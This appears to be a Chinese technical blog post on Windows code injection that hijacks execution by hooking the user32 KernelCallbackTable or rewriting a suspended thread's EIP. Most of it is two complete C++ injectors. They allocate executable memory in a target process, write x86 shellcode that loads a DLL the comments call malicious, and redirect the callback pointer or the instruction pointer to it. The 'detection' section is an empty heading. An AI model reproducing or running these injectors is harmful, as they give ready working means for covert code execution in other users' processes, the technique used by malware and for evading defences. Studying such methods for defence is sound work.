代码注入之Hook注入

代码注入的核心包含两大关键环节:一是将代码载入目标进程 ;二是为载入的代码获取执行时机 。不同代码注入方式的本质差异,正体现在这两个环节的实现策略上。本文介绍的Hook注入,重点关注** "获取执行时机"** 这一环节,通过 hook 手段达成目标;而对于 "载入代码到目标进程" 这一环节,是使用Windows提供的WriteProcessMemory类API将代码和数据写到目标进程,不需要多做解释。

Hook对象

Hook 对象可以是 IAT(导入地址表)、代码段、内核回调表、EIP/RIP(指令指针寄存器) 等。

  • Hook IAT或代码:仅当函数被调用或代码被执行时触发Hook代码,执行时机依赖程序逻辑,可控性较低。
  • Hook内核回调表:user32的内核回调表包含窗口消息处理的相关函数,在窗口进程中调用频率极高,选择高频回调函数可快速获取执行时机。
  • Hook EIP/RIP:直接修改线程指令指针寄存器(EIP/RIP),使其指向写入的代码,执行时机确定性最高,线程恢复执行后能立即触发代码执行。

Hook IAT或代码 比较常见,下面主要介绍Hook内核回调表Hook EIP/RIP这两种注入方式。

hook内核回调表

代码注入之消息钩子注入中就提到了内核回调表,消息钩子是通过内核回调表中的__ClientLoadLibrary函数加载dll,以及__fnHk*函数执行钩子函数。内核回调表中还包含了与窗口消息处理相关的其他函数,而窗口进程中消息处理的频率非常高,所以可以通过Hook这些函数,来快速获得执行时机。

  1. 回调函数选择

Hook操作类似于Inline Hook,先保存寄存器环境,然后执行其他逻辑(比如加载dll),最后恢复寄存器环境,跳向原函数地址继续原始的代码逻辑,所以不需要关心目标函数的功能,我们只是用它来获取执行时机。

选择时,可在调试工具中对回调函数下断点,看看哪个函数断点最快被触发;或者通过调试器脚本,记录一段时间内回调函数的执行次数,筛选出高频函数。

  1. Hook实现方案
  • 直接Hook:直接修改user32中内核回调表中的目标函数的指针,指向注入的代码。
  • Hook备份表:拷贝一份user32的内核回调表,修改备份表中的对应函数,然后修改PEB中内核回调表指针指向备份表。
  1. 示例代码

以直接Hook user32中的 __fnDWORD 函数为例,在Hook代码中去加载恶意dll,注入过程的关键代码为:

C++ 复制代码
int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 3. 准备shellcode
    LoadLibraryA("user32.dll");
    PEB* peb = (PEB*)__readfsdword(0x30);
    PVOID* table = (PVOID*)peb->u3.KernelCallbackTable;
    const uint32_t kIndexOffnDWORD = 2;
    PVOID fnDWORDAddr = table[kIndexOffnDWORD];
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original __fnDWORD
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C); // 系统dll在不同进程中的加载地址一样,所以可以直接使用本进程中的地址计算偏移
    *(uint32_t*)(shellcode + 0x0F) = (uint32_t)fnDWORDAddr - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 4. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 5. 修改 KernelCallbackTable 的属性,以便修改
    DWORD oldProtect = 0;
    VirtualProtectEx(hProcess, &table[kIndexOffnDWORD], sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 6. 修改 KernelCallbackTable 中的 __fnDWORD,指向shellcode,完成hook
    WriteProcessMemory(hProcess, &table[kIndexOffnDWORD], &addr, sizeof(addr), nullptr);

    CloseHandle(hProcess);
    return 0;
}

查看视频演示

Hook EIP/RIP

线程的下一条指令地址存储在EIP(32位)/RIP(64位)寄存器中,通过修改该寄存器值,使其指向注入的shellcode,可直接获取执行时机。线程的当前上下文信息中包含了 EIP/RIP 寄存器的值,所以可以通过 GetThreadContextSetThreadContext 获取和设置EIP/RIP,注意在此之前需要先暂停线程。

关键代码如下:

C++ 复制代码
HANDLE getFirstThread(uint32_t pid) {
    // 找到目标进程中的线程
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hThreadSnapshot, &te32)
    do {
        if (te32.th32OwnerProcessID == pid) {
            break;
        }
    } while (Thread32Next(hThreadSnapshot, &te32));
    CloseHandle(hThreadSnapshot);

    // 获取目标线程的句柄
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
    return hThread;
}

int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 暂停目标进程中的某个线程,获取线程EIP
    HANDLE hThread = getFirstThread(targetPid);
    SuspendThread(hThread);

    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &context);

    // 3. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 4. 准备shellcode
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original EIP
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C);
    *(uint32_t*)(shellcode + 0x0F) = context.Eip - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 5. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 6. 修改EIP为shellcode,并恢复线程
    context.Eip = reinterpret_cast<uint32_t>(addr);
    SetThreadContext(hThread, &context);
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

查看视频演示

检测与对抗

相关推荐
DevSecOps选型指南39 分钟前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化41 分钟前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥1 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU2 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
moongoblin4 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA4 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花6 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
饮长安千年月9 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全
大咖分享课10 小时前
容器安全最佳实践:云原生环境下的零信任架构实施
安全·云原生·架构
淡水猫.10 小时前
ApacheSuperset CVE-2023-27524
安全·web安全